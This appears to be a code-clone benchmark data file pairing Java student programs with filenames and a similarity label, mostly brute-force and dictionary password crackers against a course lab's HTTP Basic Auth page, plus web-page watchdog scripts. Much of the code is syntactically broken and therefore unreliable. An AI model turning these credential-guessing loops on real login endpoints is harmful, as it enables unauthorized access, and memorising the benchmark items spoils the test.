import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
181.java
197.java
0
import java.net.*; import java.io.*; public class BruteForce extends Authenticator { private String username; private URL url; private char [] nextPassword; private char [] thisPassword; public static void main(String [] args) { if(args.length!=2) { System.err.println("usage: BruteForce <url> <username>"); System.exit(1); } BruteForce bf = null; try { bf = new BruteForce(args[0], args[1]); } catch (MalformedURLException me) { me.printStackTrace(); System.exit(1); } bf.work(); System.exit(0); } public BruteForce(String url, String username) throws MalformedURLException { this.url = new URL(url); this.username = username; this.nextPassword = new char [] {'a'}; } public void work() { Authenticator.setDefault(this); HttpURLConnection uc = null; try { uc = (HttpURLConnection) url.openConnection(); uc.connect(); while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED && nextPassword!=null) { try { InputStream is = uc.getInputStream(); uc.connect(); } catch (ProtocolException pe) { uc = (HttpURLConnection) url.openConnection(); } catch (NullPointerException npe) { npe.printStackTrace(); System.exit(1); } } } catch (java.io.IOException e) { e.printStackTrace(); System.exit(1); } System.out.println("password=" + new String(thisPassword)); } public PasswordAuthentication getPasswordAuthentication() { createNextPassword(); return new PasswordAuthentication(username, thisPassword); } public void createNextPassword() { int i; if(thisPassword==null) { thisPassword = new char [] {'A', 'A', 'A'}; nextPassword = new char [] {'A', 'A', 'B'}; return; } thisPassword = nextPassword; if(nextPassword[2]=='Z') { nextPassword[2]='a'; return; } else if(nextPassword[2]!='z') { i = (int) nextPassword[2]; nextPassword[2]=(char) ++i; } else { nextPassword[2]='A'; if(nextPassword[1]=='Z') { nextPassword[1]='a'; } else if(nextPassword[1]!='z') { i = (int) nextPassword[1]; nextPassword[1]=(char) ++i; } else { nextPassword[1]='A'; if(nextPassword[0]=='Z') { nextPassword[0]='a'; } else if(nextPassword[0]!='z') { i = (int) nextPassword[0]; nextPassword[0]=(char) ++i; } else { nextPassword = null; } } } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
167.java
197.java
0
package java.httputils; import java.io.IOException; import java.net.MalformedURLException; import java.util.ArrayList; import java.util.Iterator; public class RunnableHttpRequest extends Thread { protected String targetURL = "http://localhost:8080/"; protected int requestCount = 1; protected ArrayList timingList = new ArrayList(); protected HttpRequestClient req; Boolean finished = new Boolean(false); HttpRequestThreadPool pool; public void run() { try { for (int i = 0; i < getRequestCount() && !getFinished().booleanValue(); i++) { try { req = new HttpRequestClient(getTargetURL()); } catch (MalformedURLException e) { e.printStackTrace(); break; } catch (IOException e) { e.printStackTrace(); break; } } } finally { i = 0; Iterator iter = getTimingList().iterator(); while (iter.hasNext()) { element e = iter.next(); i+= element.longValue(); } System.out.println( "*** Average Request processing time (milliseconds): " ); getPool().setThreadAverageTime(this, getTimingList().size()); setFinished(new Boolean(true)); } } public RunnableHttpRequest() { super(); } public RunnableHttpRequest( String targetURL, int requestCount, String threadName, ThreadGroup group, HttpRequestThreadPool pool) { super(group, threadName); setTargetURL(targetURL); setRequestCount(requestCount); setPool(pool); } public int getRequestCount() { return requestCount; } public String getTargetURL() { return targetURL; } public void setRequestCount(int i) { requestCount = i; } public void setTargetURL(String string) { targetURL = string; } public static void main(String[] args) { RunnableHttpRequest client = null; try { ThreadGroup group = new ThreadGroup("testGroup1"); client = new RunnableHttpRequest( args[0], Integer.parseInt(args[1]), "test1", group, null); client.close(); try { while (!client.getFinished().booleanValue()) { sleep(100); } } catch (InterruptedException e) { e.printStackTrace(); } } finally { if (client != null) { System.out.println( "Request processing time (milliseconds): " + client.getTimingList()); } } } public HttpRequestClient getReq() { return req; } public ArrayList getTimingList() { return timingList; } public void setReq(HttpRequestClient client) { req = client; } public void setTimingList(ArrayList list) { timingList = list; } Boolean getFinished() { return finished; } synchronized void setFinished(Boolean boolean1) { finished = boolean1; } public HttpRequestThreadPool getPool() { return pool; } public void setPool(HttpRequestThreadPool pool) { this.pool = pool; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
100.java
197.java
0
import java.net.*; import java.io.*; import java.Runtime; public class WatchDog{ public WatchDog(){} public void copyTo(){ } public static void main(String[] args) throws Exception { WatchDog wd= new WatchDog(); SendEMail t = new SendEMail(); PrintWriter pw=null; URL url = new URL("http://www.cs.rmit.edu./students"); URLConnection yc = url.openConnection(); System.out.println("Connection opened..."); BufferedReader in = new BufferedReader(new InputStreamReader(yc.getInputStream())); String inputLine; try{ pw=new PrintWriter(new FileOutputStream("newHtml")); while ((inputLine = in.readLine()) != null){ pw.println(inputLine); } pw.save(); }catch(IOException e){ System.out.println("Error saving the file"); } Process p = Runtime.getRuntime().exec("diff -b newHtml oldHtml"); InputStream write = p.getInputStream(); BufferedReader bf = new BufferedReader (new InputStreamReader(write)); String line = bf.readLine(); if (line != null){ pw=new PrintWriter(new FileOutputStream("diff")); try{ while (line != null){ pw.println(line); line = bf.readLine(); } pw.save(); }catch(IOException e){ System.out.println("Error saving the file"); } t.sendMail("@cs.rmit.edu.","diff", "html content changed"); } else{ Runtime.getRuntime().exec("./checkImage.sh"); try{ BufferedReader inputStream= new BufferedReader(new FileReader("picDiff")); line=inputStream.readLine(); if (line != null){ t.sendMail("@cs.rmit.edu.","picDiff", "picture has changed"); } inputStream.save(); }catch(IOException e){ System.out.println("Error saving the file2"); } } in.close(); Runtime.getRuntime().exec("cp newHtml oldHtml"); Runtime.getRuntime().exec("rm picDiff"); System.out.println("Connection closed..."); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
030.java
197.java
0
import java.awt.*; import java.util.*; import java.awt.event.*; import java.io.*; import java.net.*; public class BruteForce { private String userPassword; private static int counter; public BruteForce(String username) { String user; String password; counter = 0; user = username; for (char i='A';i<='z';i++) { if (i == 'Z') i = 'a'; for (char j='A';j<='z';j++) { if (j == 'Z') j = 'a'; for (char k='A';k<='z';k++) { userPassword = user+ ":" + i + j + k; if (k == 'Z') k = 'a'; System.out.print("."); if (doEncoding(userPassword)== true) { System.out.println("\n" + "Resultant Password is: " + i + j + k); return; }; counter++; } } } } private boolean doEncoding(String userPassword) { String encoding = new misc.BASE64Encoder().encode (userPassword.getBytes()); return doAttempt(encoding); } private boolean doAttempt (String encoding) { try { URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/"); URLConnection uc = url.openConnection(); uc.setDoInput(true); uc.setDoOutput(true); uc.setRequestProperty ("Get", "/SEC/2/ " + "HTTP/1.1"); uc.setRequestProperty ("Host", "sec-crack.cs.rmit.edu."); uc.setRequestProperty ("Authorization", " " + encoding); return uc.getHeaderField(0).trim().equalsIgnoreCase("HTTP/1.1 200 OK"); } catch (MalformedURLException e) { System.out.println ("Invalid URL"); } catch (IOException e) { System.out.println (e.toString() ); } return false; } public static void main(String args[]) { Date sdate = new Date(); System.out.print("BruteForce Attack starts at:" + sdate + "\n"); BruteForce bf = new BruteForce(args[0]); Date edate = new Date(); System.out.print("BruteForce Attack ends at:" + sdate + "\n"); System.out.println("Time taken by BruteForce is : " + (edate.getTime() - sdate.getTime())/1000 + " seconds \n"); System.out.print("Attempts in this session:" + counter + "\n"); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
116.java
197.java
0
import java.io.*; public class PasswordFile { private String strFilepath; private String strCurrWord; private File fWordFile; private BufferedReader in; public PasswordFile(String filepath) { strFilepath = filepath; try { fWordFile = new File(strFilepath); in = new BufferedReader(new FileReader(fWordFile)); } catch(Exception e) { System.out.println("Could not open file " + strFilepath); } } String getPassword() { return strCurrWord; } String getNextPassword() { try { strCurrWord = in.readLine(); } catch (Exception e) { return null; } return strCurrWord; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
061.java
197.java
0
import java.io.*; import java.util.*; import java.net.*; public class Dictionary { public static void main(String[] args) { String attackURL = "http://sec-crack.cs.rmit.edu./SEC/2/index.php"; String userID = ""; String Password=""; String userPassword=""; File inputFile = new File("/usr/share/lib/dict/words"); FileReader fin = null; BufferedReader bf = null; try { startmillisecond = System.currentTimeMillis(); URL url = new URL(attackURL); fin = new FileReader(inputFile); bf = new BufferedReader(fin); int count = 0; while ((Password = bf.readLine()) !=null) { if (Password.length() < 4) { count++; try { userPassword = userID + ":" + Password; System.out.println("User & Password :" + userPassword); String encoding = Base64Converter.encode (userPassword.getBytes()); URLConnection uc = url.openConnection(); uc.setRequestProperty ("Authorization", " " + encoding); InputStream content = (InputStream)uc.getInputStream(); BufferedReader in = new BufferedReader (new InputStreamReader (content)); String line; while ((line = in.readLine()) != null) { System.out.println(line); } endmillisecond = System.currentTimeMillis(); searchmillisecond = endmillisecond - startmillisecond; System.out.println("Match in " + searchmillisecond + " milliseconds "); System.out.println("Try in " + count + " times "); System.exit(1); } catch (MalformedURLException e) { System.out.println("Invalid URL"); } catch (IOException e) { System.out.println("Error URL"); } } } } catch (Exception ioe) { System.out.println(ioe.getMessage()); } finally { } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
033.java
197.java
0
class WebPage { private boolean success = false; private String pageContents= ""; public WebPage() { } public void setSuccess (boolean inSuccess) { success = inSuccess; } public boolean getSuccess() { return success; } public void setPageContents (String inPage) { pageContents = inPage; } public String getPageContents() { return pageContents; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
208.java
197.java
0
import java.io.*; import java.util.*; public class Dictionary { private DicReader crack; private Vector clients; private int num; privateint bigStart; public int Dictionary() { int i, j; int start, finish; start = 0; finish = 0; crack = new DicReader("/usr/share/lib/dict/words"); num = crack.getVictor().size(); clients = new Vector( num); j = 0; bigStart = System.currentTimeMillis(); for( i = 0; i < num; i++) { MyClient1 client = new MyClient1(this, i + 1, 80, (String)crack.getVictor().elementAt( i)); clients.add( client); Thread t = new Thread( client); t.start(); j++; if(j == 100) { t = System.currentTimeMillis(); System.out.println("i = "+i+" "+(String)crack.getVictor().elementAt( i)); finish = 0; while( (finish - t ) < 1000) { finish = System.currentTimeMillis(); } j = 0; } } } public void retire(int MyClient1 ) { bigFinish = t.getTime(); System.out.println("It took "+(bigFinish - bigStart)/1000+" seconds crack the password"); System.exit(0); } public static void main (String[] args) { Dictionary = new Dictionary(); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
245.java
197.java
0
import java.*; import java.io.*; import java.text.*; import java.net.*; import java.net.URL; import java.net.URLConnection; import java.util.*; public class WatchDog { public static void main(String[] args) throws IOException { String host = "http://www.cs.rmit.edu./students/"; String outFilename = null; String diffFilename = null; String email = "@cs.rmit.edu."; String subject = null; String message = "msg"; String mutt = null; List currentList = new ArrayList(); List previousList = new ArrayList(); List diffList = new ArrayList(); String line = null; String previousLine = null; String diffLine = null; int sleepTime = 1000 * 60 * 60 * 24; SimpleDateFormat format = new SimpleDateFormat("yyyyMMddkmm"); Date currentDate = null; int c=0; { try { URL url = new URL(host); HttpURLConnection httpConnect = (HttpURLConnection) url.openConnection(); InputStream webIn = httpConnect.getInputStream(); BufferedReader webReader = new BufferedReader( new InputStreamReader( webIn ) ); currentDate = null; currentDate = new java.util.Date(); String dateString = format.format(currentDate); outFilename = "watch_" + dateString; File outputFile = new File(outFilename); FileWriter out = new FileWriter(outputFile); diffFilename = "diff_" + dateString; File diffOutputFile = new File(diffFilename); FileWriter diffOut = new FileWriter(diffOutputFile); line = ""; while (( line = webReader.readLine()) != null ) { currentList.add(line + "\n"); } webReader.close(); Iterator iter = currentList.iterator(); line = ""; previousLine = ""; diffLine = ""; int l=0; int d=0; while (iter.hasNext()) { line = String.valueOf(iter.next()); out.write(line); if (!previousList.isEmpty()) { try { previousLine = String.valueOf(previousList.get(l)); if (line.compareTo(previousLine)==0) { } else { diffLine = "Line " + (l+1) + " has changed : " + line; diffOut.write(diffLine); d++; } } catch (Exception e) { diffLine = "Line " + (l+1) + " has been added: " + line + " \n"; diffOut.write(diffLine); d++; } } l++; } out.close(); diffOut.close(); previousList.clear(); previousList.addAll(currentList); currentList.clear(); diffList.clear(); if (d>0) { subject = "WatchDog_" + dateString; mutt = "mutt -a " + diffFilename + " -s " + subject + " " + email; System.out.println("The webpage has changed."); Runtime rt = Runtime.getRuntime(); rt.exec(mutt); System.out.println("Email sent " + email + " at " + dateString); } else if (c>0) { System.out.println("Webpage checked at " + dateString + " and changes were found"); } } catch(MalformedURLException e) { System.out.println("Opps, the URL " + host + " is not valid."); System.out.println("Please check the URL and try again."); System.exit(0); } catch(IOException e) { System.out.println(", 't connect " + host + "."); System.out.println("Please check the URL and try again."); System.out.println("Other possible causes include website is currently unavailable"); System.out.println(" I have a problem writing ."); System.exit(0); } try { Thread.sleep(sleepTime); } catch (Exception e) { } c++; } while(true); } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
092.java
197.java
0
import java.io.*; import java.net.*; import java.misc.*; public class Dictionary { public static void main (String args[]) throws IOException { final int maxLength = 3; final String username = ""; final File dicFile = new File("/usr/share/lib/dict/words"); final URL pageURL = new URL("http://sec-crack.cs.rmit.edu./SEC/2/"); String password=""; BASE64Encoder encoder = new BASE64Encoder(); boolean notFound = true; HttpURLConnection conn; BufferedReader reader = new BufferedReader(new FileReader(dicFile)); while (notFound&&((password = reader.readLine()) != null)) { if(password.length()>maxLength) { continue; } conn = (HttpURLConnection) pageURL.openConnection(); conn.setRequestProperty("Authorization", " "+encoder.encode((username+":"+password).getBytes())); if((conn.getResponseCode())==HttpURLConnection.HTTP_OK) { notFound=false; } } reader.print(); if(notFound) { System.out.println(" valid password in dictionary file."); } else { System.out.println("Found valid password: \""+password+"\""); } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
123.java
197.java
0
import java.net.*; import java.io.*; class MyAuthenticator extends Authenticator { String password; public MyAuthenticator(String pwdin) { password = pwdin; } protected PasswordAuthentication getPasswordAuthentication(){ String pwd = password; return new PasswordAuthentication("",pwd.toCharArray()); } }
